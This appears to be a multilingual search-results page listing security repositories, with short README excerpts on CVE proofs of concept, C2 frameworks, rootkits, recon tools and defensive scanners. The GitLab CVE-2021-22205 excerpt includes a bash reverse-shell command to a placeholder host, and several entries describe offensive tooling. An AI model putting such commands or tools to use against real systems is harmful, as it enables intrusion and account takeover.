45867 matches found
CVE-2020-9442
漏洞标题: OpenVPN Connect for Windows MSI - 3.1.0.361 - 权限提升 日期: 2020-02-28 作者: Andrew Hess 软件链接: https://openvpn.net/client-connect-vpn-for-windows/ 版本: 3.1.0.361 MSI CVE: CVE-2020-9442 历史 2019.12.15 - 发现漏洞 2019.12.15 - 首次联系供应商 2020.01.xx - 供应商补丁 - 3.1.1 378 beta 3.1.1 378 beta 版本发布说明...
c2-cloud
About The Project The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly...
c2-cloud
关于项目 C2 Cloud 是一个强大的基于网页的 C2 框架，旨在简化渗透测试人员的工作。它允许像在 AWS 云中访问 EC2 实例一样轻松地访问被攻陷的后门。通过用户友好的界面，它可以管理多个同时进行的后门会话。 C2 Cloud 是开源的。安全分析师可以自信地进行模拟，获得宝贵的经验，并为其组织的主动防御态势做出贡献。 支持的反弹 Shell： 1. Reverse TCP 2. Reverse HTTP 3. Reverse HTTPS（配置在负载均衡器后面） 4. Telegram C2 演示 C2 Cloud 演练： https://youtu.be/hrHTRDcGj8 使...
FakeMBR
FakeMBR マスターブートレコードへの読み取り/書き込みリクエストを偽装するTDL4スタイルのルートキット NTDDKでコンパイルする必要があります。 参照: http://www.malwaretech.com/2015/01/using-kernel-rootkits-to-conceal.html...
Mitel-MiCollab-Auth-Bypass_CVE-2024-41713
CVE-2024-41713 Mitel MiCollab 认证绕过导致任意文件读取 查看我们的博客文章了解技术细节 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / / watchtowr-vs-MiCollab2024-12-05.py Mitel MiCollab Authentication Bypass and Arbitrary File Read exploit by watchTowr -...
kurasagi
kurasagi kurasagi 是适用于 Windows 24H2 - 25H2 的 PatchGuard 绕过完整 POC。 更多信息请参阅 product 分支，其中包含详细介绍该绕过方法的 PDF 论文。 如果出现任何与CRITICALSTRUCTURECORRUPTION（PatchGuard）相关的 BSOD，请创建 issue 并附上相关信息！ 免责声明 1. 请仅将其用于教育目的！ 2. 运行时请勿开启基于虚拟机监控程序的安全功能！（否则会导致 BSOD！） 3. 使用 kdmapper 加载驱动。 4. 在加载 kurasagi 之后，我们发现当你使用...
terminalphone
TerminalPhone Tor オニオンサービス経由の暗号化プッシュトゥトーク音声通信。 TerminalPhone は、単一の自己完結型 Bash スクリプトで、Tor ネットワーク上で 2 者以上の間で匿名のエンドツーエンド暗号化音声およびテキスト通信を提供します。トランシーバーのように動作します。音声メッセージを録音すると、圧縮、暗号化され、1 つの単位として相手側に送信されます。通話中に暗号化されたテキストメッセージを送信することもできます。サーバーインフラ、アカウント、電話番号は不要です。あなたの Tor オニオンサービス .onion アドレスがあなたの身元です。 目次 ...
honggfuzz
Honggfuzz A security-oriented, feedback-driven, evolutionary fuzzer. Honggfuzz is a general-purpose fuzzer that uses code coverage software and hardware-based to find bugs. It is multi-process, multi-threaded, and supports persistent fuzzing for extreme speed. Key Features Fast : Multi-process an...
honggfuzz
Honggfuzz 一个面向安全、反馈驱动、进化式的模糊测试工具。 Honggfuzz 是一个通用型模糊测试工具，利用代码覆盖率（软件和硬件层面）来发现漏洞。它支持多进程、多线程，并支持持久化模糊测试以实现极高的执行速度。 主要特性 快速 ：多进程、多线程引擎，充分发挥 CPU 的完整潜力。 持久化模糊测试 ：直接在进程内测试 API，迭代速度可达每秒 100 万次。 反馈驱动 ：利用硬件（Intel BTS/PT）和软件代码覆盖率来进化输入。 易用 ：可以从空的语料库开始，自动构建有效的输入集合。 深度监控 ：使用底层 API（ptrace）来检测被劫持的信号和隐藏的崩溃。 广泛支持...
CVE-2023-32560
CVE-2023-32560 Ivanti Avalanche v6.4.0.0 RCE POC 参照: https://www.tenable.com/security/research/tra-2023-27...
CVE-2023-24706
CVE-2022-24706 Apache CouchDB リモートコマンド実行脆弱性poc...
recon
O.G. AUTO-RECON 特徴 O.G. Auto-Reconの目的は、初期情報収集フェーズを自動化し、その結果に基づいて可能な限り列挙を行うことです。 このツールはCTF向けに設計されており、かなりノイジーです。（最もステルス性を重視したツールではありません...） コマンド構文はConfig設定で簡単に変更できます。$variable名は変更しないでください。 Virtual Host Routingが検出された場合、O.G. Auto-Recon はホスト名を/etc/hostsファイルに追加し、新たに発見されたホスト名の列挙を続行します。 DNS列挙は.com .co .e...
golddigger
Gold Digger Search files for gold Gold Digger is a simple tool used to help quickly discover sensitive information in files recursively. Originally written to assist in rapidly searching files obtained during a penetration test. Installation Gold Digger requires Python3. virtualenv -p python3...
golddigger
Gold Digger ファイルから金を探す Gold Digger は、再帰的にファイル内の金を素早く発見するためのシンプルなツールです。もともとはペネトレーションテスト中に入手したファイルを迅速に検索するために作成されました。 インストール Gold Digger には Python3 が必要です。 virtualenv -p python3 . source bin/activate python dig.py --help 使用方法 usage: dig.py -h -e EXCLUDE -g GOLD -d DIRECTORY -r RECURSIVE -l LOG...
GAP-Burp-Extension
概要 - v6.3 これは、Burp用の元のgetAllParams拡張機能の進化版です。調査すべき潜在的なパラメータをより多く見つけるだけでなく、それらのパラメータを試すための潜在的なリンクも見つけ、ファジングに使用するターゲット固有のワードリストを生成します。 完全なヘルプドキュメントはこちらまたはGAPタブのヘルプアイコンから参照できます。 TL;DR インストール 1. Jython公式サイトにアクセスし、最新のスタンドアロンJARファイル（例：jython-standalone-2.7.4.jar）をダウンロードします。 2. Burpを開き、Extensions -...
CVE-2020-0688
此存储库没有 README。...
evilgrade
Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | -- .:: 概要 ::. Evilgradeは、モジュール式フレームワークであり、ユーザーが偽のアップデートを注入することで、貧弱なアップグレード実装を悪用することを可能にします。 事前に作成されたバイナリ（エージェント）、高速なペンテストのための動作するデフォルト設定が付属しており、独自のWebサーバーおよびDNSサーバーモジュールを持っています。 新しい設定のセットアップが容易で、新しいバイナリエージェントが設定されると自動設定機能があります。...
evilgrade
Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | -- .:: BRIEF OVERVIEW ::. Evilgrade is a modular framework that allows the user to take advantage of poor upgrade implementations by injecting fake updates. It comes with pre-made binaries agents, a working default configuration...
kmon
Linuxカーネルマネージャーおよびアクティビティモニター 🐧💻 カーネル は、オペレーティングシステムの一部であり、ハードウェアとソフトウェアコンポーネント間のやり取りを促進します。ほとんどのシステムでは、ブートローダーの後に起動時にロードされ、I/O要求やキーボード、モニター、ネットワークアダプター、スピーカーなどの周辺機器を処理します。通常、カーネルはメモリ管理 、プロセス管理 、デバイス管理 、システムコール 、セキュリティ を担当します。 アプリケーションは、システムコール...
MailAccess
mailaccess.pro · Docs · PyPI · Changelog Self-hostable OSINT platform for investigating email addresses. Fan out across breach databases, social networks, DNS records, and the open web, then get back a unified exposure score and structured findings you can export or pipe into Maltego. Built for...
hermes-agent
Hermes Agent ☤ Hermes Agent | Hermes Desktop Nous Research が開発した自己改善型 AI エージェント。 組み込みの学習ループを備えた唯一のエージェントです — 経験からスキルを作成し、使用中に改善し、知識を永続化するよう自ら促し、過去の会話を検索し、セッションをまたいであなたに関する深いモデルを構築します。5ドルの VPS、GPU クラスター、またはアイドル時にほぼコストがかからないサーバーレスインフラで実行できます。ラップトップに縛られることはありません — クラウド VM で作業している間、Telegram...
CVE-2022-0847-DirtyPipe-Exploits
CVE-2022-0847-DirtyPipe-漏洞利用 此仓库提供了一套全面的漏洞利用代码和文档，专门为渗透测试人员和红队专业人士设计。它是旨在有效利用Linux Dirty Pipe漏洞的宝贵资源。 关于漏洞 Dirty Pipe（CVE-2022-0847）是Linux内核中发现的一个本地权限提升漏洞。此安全缺陷允许非特权用户执行多项关键操作，包括： 修改或覆盖任意只读文件（如 /etc/passwd），从而可用于操纵用户身份验证机制。 获得提升后的Shell，进而获取受影响系统上未经授权的管理员权限。...
copy-fail-CVE-2026-31431-detection-probe
Linux 内核本地提权探测套件 —— Copy Fail 与 Dirty Frag 安全检测工具，用于两个相关的 Linux 内核本地权限提升漏洞家族 —— Copy Fail （CVE-2026-31431）和 Dirty Frag （CVE-2026-43284 / CVE-2026-43500）。两者自 2017 年起影响所有主流发行版，任何无特权本地用户均可利用，且两者需要独立 的缓解措施。 这些探测程序不会打开任何套接字，也不会执行任何加密或网络操作。 检测完全基于内核版本、发行版软件包元数据、模块状态及生效中的缓解标志 —— 上述信息均无需 sudo...
suricata-vedas
VEDAS Signatures VEDAS による自律生成 + コミュニティ貢献による CVE 向け Suricata & Nuclei ルール このリポジトリは、CVE 検出コンテンツのためのオープンで協調的な検証スペースです： Suricata ルール : エクスプロイト試行のネットワーク検出。 Nuclei テンプレート : CVE への露出を確認するための、能動的かつ非破壊的なチェック。 ほとんどのシグネチャは、ARPSyndicate の脆弱性・エクスプロイトデータ集約システム（VEDAS） によって自律的に生成されています。AI...
CVE-2013-2006
CVE-2013-2006 版本: https://github.com/openstack/keystone/blob/d43e2a51a1ed7adbed3c5ddf001d46bc4a824ae8...
cmdchamp
cmdchamp Bash CLIトレーナー — lsから権限昇格までの30レベル。 すべての問題で実際のコマンドを入力します — 即座にフィードバックが返り、先へ進めます。間違えると、答えが表示されるだけでなく、YOURコマンドの出力と期待された出力の違い、パイプラインの場合は各段階の行数が表示されるため、どこで失敗したかがわかります。テキスト一致の問題では、あなたの回答に最も近い正解と、抜けていた正確なフラグが示されます。遠回りな方法で正解すると、短い方法も表示されます — cat f | grep -c X と入力すると Shorter: grep -c X f...
darkgrid
DarkGrid – グローバル脅威インテリジェンスダッシュボード OSINT脅威インテリジェンスダッシュボード：AbuseIPDBやOpenPhishなどの公開ソースからの悪意あるインフラを表示する3D地球儀とライブフィード。 https://github.com/user-attachments/assets/e4f6a4fa-6ff4-4ad1-8e5c-5b50ce6ad722 概要 DarkGridは、世界中の不審なインターネットインフラを可視化します： 3D脅威地球儀 インジケーターのボリュームに基づいてパルスする国の「ピン」を表示。 脅威フィード...
AmdRyzenMasterCheat
ECPRO-LAN アンチチート: FACEIT, ESEA カスタムバージョン 2019年初頭～2020年後半。R.I.P. https://h0mbre.github.io/RyzenMasterCVE/ 要件: 全アップデートを適用したWindows 10 Enterprise 1607 LTSB AMD Ryzen CPU マザーボード B350-B450 B550 クライアントはバグあり Logitech GHUB インストール済み マウス入力用 旧世代のRyzenプロセッサではAmdRyzenMasterドライバのバージョンが異なる可能性があります 1.3.0.0...
angrgdb
angrgdb GDB内でangrを使用します。現在のデバッガ状態からangr状態を作成します。 インストール pip install angrgdb echo "python import angrgdb.commands" /.gdbinit 使用方法 angrgdbはGDBでangrdbg APIを実装しています。 スクリプト内で次のように使用できます： from angrgdb import gdb.execute"b 0x004005f9" gdb.execute"r aaaaaaaa" sm = StateManager sm.simsm"rax", 100 m =...
angrgdb
angrgdb Use angr inside GDB. Create an angr state from the current debugger state. Install pip install angrgdb echo "python import angrgdb.commands" /.gdbinit Usage angrgdb implements the angrdbg API in GDB. You can use it in scripts like this: from angrgdb import gdb.execute"b 0x004005f9"...
cgPwn
cgPwn - Cyber Grand Pwnage ボックス これは、ハードウェアハッキング、リバースエンジニアリング（RE）、およびウォーゲーミング向けに調整されたUbuntu VMです。 含まれるツール Pwndbg Pwntools Binwalk Radare2 Capstone、Unicorn、Keystoneエンジン Qira Timeless Debugger AFL Valgrind、VGdb ROPGadget、XRop、Ropper、rp++ Intel PIN Angr z3 frida コンパイラツール: CLANG、LLVM、GDBMultiarch、GDBA...
OffensiveDLR
OffensiveDLR 研究ノートと.NETのDLRを武器化するための概念実証コードを含むツールボックス 目次 スクリプト| 説明 ---|--- Kukulkan| SILENTTRINITYのスリム化バージョン。IPYエンジンを埋め込んだC DLLおよびEXE。通信は暗号化されており、CobaltStrikeで使用可能。 Invoke-JumpScare.ps1| 埋め込まれたBoolangコンパイラを使用してシェルコードを実行します。ディスクには何も書き込まれず（少なくとも私が見た限り）、csc.exeへの呼び出しも行われません : Invoke-IronPython.ps1|...
CVE-2019-2215
CVE-2019-2215 Android binderバグの記録。エミュレータでのみテストしています : ubuntu 22.04 | 4G | 4 cpus andriod studio Pixel2 | Andriod 10.0Q--Google Play Intel x86 Atom 64 System Image | API-29 ndk 21.0.6113669 origin/android-goldfish-4.14-dev | カーネルバージョンは 4.14.175 いくつかの重要な設定オプション CONFIGSLABFREELISTRANDOM is not set...
CVE-2024-21413
CVE-2024-21413 利用 CVE-2024-21413 漏洞获取登录信息 首先，你好。借助 Microsoft Outlook 中存在的一个漏洞，您可以执行以下操作来获取 Windows 用户信息。 我通过 PHP 中的 class.phpmailer.php 库来执行发送邮件的任务。 您需要打开 php 文件并进行邮件服务器设置。 然后，将代码中的 IP 地址替换为我们 Linux 设备的 IP 地址。 为了监听发往我们 Linux 设备的请求， impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp 我们将运行该代码。...
CVE-2022-42889-PoC
CVE-2022-42889 又名 Text4Shell RCE 概念验证 Text4Shell 是 Apache Commons Text 库中发现的一个严重软件漏洞的俗称（参见 CVE-2022-42889）。 本仓库旨在演示利用此 CVE 的远程代码执行 （RCE）。 该易受攻击的代码 用于 SpringBoot 控制器中，但请不要混淆，这不是 SpringBoot/Spring 安全问题。 在测试 RCE 之前，请构建 Docker 镜像： $ docker build -t text4shell . ... = exporting to image 0.0s = =...
CVE-2017-6640-POC
CVE-2017-6640-POC CVE-2017-6640 の概念実証（Burp拡張機能として） Cisco Prime Data Center Network Manager（DCNM）は静的認証情報を実装しています。関連情報： https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170607-dcnm2 具体的には、Web UIはユーザーにHTTP...
CVE-2024-40110
CVE-2024-40110 - Poultry Farm Management System v1.0 Poultry Farm Management System v1.0 のエクスプロイト Exploit-DB サイトでエクスプロイトを見つけたものの動作しなかったため、コードをレビューしてニーズに合わせて改良することにしました。動作したので、さらに改良を加え、疑似 Web シェルを含めることにしました。 すべてのクレジットは、オリジナルスクリプトを開発した Jerry Thomas w3bn00b3r に帰属します。 オリジナルエクスプロイトリンク:...
ltm
ltm Linux用のマシンヒストリーデバッガー。eBPFを介してプロセス、ファイル、ネットワーク、メモリ、ブロックI/Oを記録し、メタデータをSQLiteに保存し、そのマシンで何が起こったかについてのタイムライン/差分/平易な英語/SQLの質問に答えます。 ⚠️ 現在はトレースポイントのみのキャプチャ — 現在の記録はトレースポイントプログラムを使用しています。まだkprobes、uprobes、XDP、TCフックは使用していません。そのため、より深いカーネル内部、ユーザースペース関数トレーシング、パケットパス検査よりも、安定したシステムコール/ブロック/プロセスメタデータを優先します。...
kali-vm
Kali-VM 构建脚本 Kali Linux 虚拟机（VM）镜像构建器，通过debos（配合 fakemachine 和 KVM）实现。 这些正是 Kali 团队 用于生成官方 Kali Linux VM 镜像的相同 构建脚本，可在 kali.org/get-kali/ 找到。 如需更多信息，请参阅：kali.org/docs/virtualization/。 立即构建你的 Kali！ 先决条件 我们建议在与目标架构匹配的 Linux 主机上进行构建。 有多种方式可以准备好使用 kali-vm 构建脚本。你可以选择： build.sh - 直接从你的机器构建...
requests-ip-rotator
Swiftproxy の誇り高きスポンサー 高性能なレジデンシャルプロキシ。80M+ IPプールを195か国以上で展開 — 大規模データ収集やブラウザ自動化におけるリクエスト成功率を向上させ、IPブロックを削減します。requests-ip-rotator、Playwright、Selenium、その他のスクレイピングツールとの併用に最適です。 無料トライアルを開始 → requests-ip-rotator AWS API Gatewayの大規模IPプールをプロキシとして利用し、擬似的な無限IPを生成してWebスクレイピングやブルートフォース攻撃を行うためのPythonライブラリです。...
CVE-2021-22205
漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port 0&1' /tmp/1.sh" python3...
Wing-FTP-Server-7.4.4-RCE-Authenticated
Wing FTP Server 7.4.4 - 远程代码执行（需认证）（CVE-2025-5196） Wing FTP Server 提供了一个可通过其 Web 界面访问的管理 Lua 脚本控制台。经过身份验证的管理员能够执行任意 Lua 代码，但其沙箱机制不足。 受影响版本：Wing FTP Server 7.4.4 Windows | 需要身份验证：是 下载与发布说明 截至2025年5月24日，供应商提供的最新版本应用程序可通过以下链接获取：https://www.wftpserver.com/download.htm...
DexLoader
⚡Dex Loader Android 本项目展示了在 Android 中加载和执行 DEX 文件的不同方法，重点介绍动态加载技术，如 DexClassLoader、PathClassLoader 以及内存内执行。 📦 项目结构 Dex Loader ：加载并执行 contacts.dex，该文件模拟读取设备联系人。 PathClassLoader / 内存内 Dex Loader ：加载 classes.dex，该文件包含一个简单方法，用于生成随机数并显示在屏幕上。 内存内 Dex Loader 模拟从远程服务器获取 dex 文件后再执行。 ⚠️ Android 版本限制...
CVE-2023-37250-POC
CVE-2023-37250 PoC Artículo: https://hackingiscool.pl/roaming-and-racing-to-get-system-cve-2023-37250/...
SeekYou
開発支援 このプロジェクトがあなたの仕事に役立つなら、継続的なメンテナンスと新機能の開発を支援してください。 ETH寄付ウォレット 0x11282eE5726B3370c8B480e321b3B2aA13686582 QRコードをスキャンするか、上記のウォレットアドレスをコピーしてください。 SeekYou 15の情報源にわたる統合ホストインテリジェンス — 任意のIP、ドメイン、ASNをクエリして、セキュリティ態勢、インフラ詳細、脅威相関を即座に取得。Cloudflareの無料枠のみで動作します。 ライブURL: swiy.co/seekyou $ curl...
CatSniffer
CatSniffer 販売代理店でもご利用いただけます: CatSniffer 😼 は、IoT（Internet of Things）デバイスのスニッフィング、通信、攻撃のために設計された、オリジナルのマルチプロトコル・マルチバンド基板です。新しいチップ TI CC1352、Semtech SX1262、V3 用 RP2040 または V2 用 Microchip SAMD21E17 を統合した、非常にポータブルな USB スティックとして設計されました。 この基板は、IoT セキュリティ研究者、開発者、愛好家にとってのスイスアーミーナイフです。この基板は、SmartRF Packet...
Whisker
Whisker Whisker は、Active Directory のユーザーおよびコンピューターアカウントの msDS-KeyCredentialLink 属性を操作して、ターゲットアカウントに「シャドウ資格情報」を実質的に追加することで、それらのアカウントを乗っ取るための C ツールです。 このツールは、Michael Grafnetter @MGrafnetter による DSInternals のコードをベースにしています。 この攻撃を成功させるには、環境に少なくとも Windows Server 2016 を実行しているドメインコントローラーが存在し、そのドメインコントローラ...
velociraptor
Velociraptor - エンドポイント可視化・収集ツール Velociraptor は、Velociraptor Query Language VQL クエリを使用してホストベースの状態情報を収集するツールです。 Velociraptor の詳細については、以下のドキュメントをお読みください: https://docs.velociraptor.app/ クイックスタート Velociraptor がどのようなものかすぐに確認したい場合は、次の手順に従ってください: 1. お使いのプラットフォーム Windows/Linux/MacOS...
litmus
LitmusChaos 开源混沌工程平台 请以其他语言阅读本文。 🇰🇷 🇨🇳 🇧🇷 🇮🇳 🇪🇸 概述 LitmusChaos 是一个开源的混沌工程平台，使团队能够通过以受控方式引入混沌测试来识别基础设施中的弱点与潜在故障。开发人员与 SRE 可以通过 LitmusChaos 实践混沌工程，因为它易于使用、基于现代混沌工程原理，并且由社区协作共建。它 100% 开源，并且是一个 CNCF 项目。 LitmusChaos 采用云原生方法来创建、管理和监控混沌。平台本身以一组微服务的形式运行，并使用 Kubernetes 自定义资源（CR）来定义混沌意图以及稳态假设。 总体而言，Litmus...